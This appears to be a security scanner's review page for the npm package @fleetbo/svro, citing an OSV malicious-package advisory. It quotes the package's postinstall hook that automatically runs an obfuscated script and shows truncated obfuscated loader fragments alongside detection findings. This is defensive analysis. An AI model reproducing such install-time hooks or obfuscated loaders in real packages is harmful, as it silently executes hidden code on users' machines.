registry / @fleetbo/svro / 0.0.34

@fleetbo/svro@0.0.34

AI Security Review

scanned 2h ago · by lpm-firewall-ai

npm install automatically executes an obfuscated setup script against the consuming project. It modifies development configuration and package metadata without an explicit setup command.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm install @fleetbo/svro

Impact

Can alter Vite, TypeScript, environment, generated types, and dependency configuration in the installer's project.

Mechanism

postinstall project configuration mutation

Rationale

Source inspection confirms an install-time configuration hook with broad project writes, but not a concrete malicious or exfiltration chain. Warn rather than block.

Evidence

package.jsondist/postinstall.cjsREADME.md.envsrc/auto-imports.d.tssvro.schema.jsonsvro.d.tstsconfig.jsonjsconfig.jsonvite.config.tsvite.config.jsvite.config.mjs

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-14586

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in @fleetbo/svro (npm)

Details

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

References

OSV advisory ADVISORY

Decision evidence

public snapshot

AI called this Suspicious at 91.0% confidence as Dangerous Capability with low false-positive risk.

Evidence for block

package.json runs dist/postinstall.cjs automatically on install.
dist/postinstall.cjs is deliberately obfuscated and calls runFullSetup with INIT_CWD.
Install setup writes project .env, src/auto-imports.d.ts, ts/jsconfig, Vite config, and package.json.
Setup can add dev dependencies and inject Vite auto-import/middleware configuration.

Evidence against

README.md explicitly documents the postinstall configuration and affected project files.
The inspected install path does not call the token/network authentication helper.
No credential harvesting, data exfiltration, remote payload loading, or AI-agent control-surface writes were confirmed.

Behavioral surface

Source

DynamicRequireEnvironmentVarsFilesystemNetwork

Supply chain

HighEntropyStringsMinifiedObfuscated

Manifest

NoLicense

scanned 3 file(s), 452 KB of source

Source & flagged code

5 flagged

package.jsonView file

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/postinstall.cjsView file

1#!/usr/bin/env node L2: const _0x332c0f=_0x1afe;(function(_0x465f92,_0x3f1a44){const _0x3c075a=_0x1afe,_0x5e4b8e=_0x465f92();while(!![]){try{const _0x513492=parseInt(_0x3c075a(0x3c0))/0x1+-parseInt(_0x3c0...

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/postinstall.cjsView on unpkg · L1

dist/postinstall.cjs#virtual:normalized:round1View file

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/postinstall.cjs#virtual:normalized:round1View on unpkg · L1

dist/index.jsView file

1const _0x2a75fa=_0x16fc;(function(_0x88d590,_0x47536e){const _0x22a7aa=_0x16fc,_0x24e620=_0x88d590();while(!![]){try{const _0xfd05d9=parseInt(_0x22a7aa(0xaaf))/0x1*(parseInt(_0x22a... L2:

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/index.jsView on unpkg · L1

Source & flagged code

5 flagged · loading source

package.jsonView file

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

•scripts.postinstall = node --input-type=commonjs -e "if (require('fs').existsSync('./dist/postinstall.cjs')) require('child_process').execSync('node ./dist/postinstall.cjs', { stdio: 'inherit' })"

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/postinstall.cjsView file

Medium

Findings

1 Critical4 High4 Medium5 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

HighSame File Env Network Executiondist/postinstall.cjs#virtual:normalized:round1

HighObfuscated Payload Loaderdist/index.js

HighObfuscated

MediumDynamic Requiredist/postinstall.cjs

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowNo License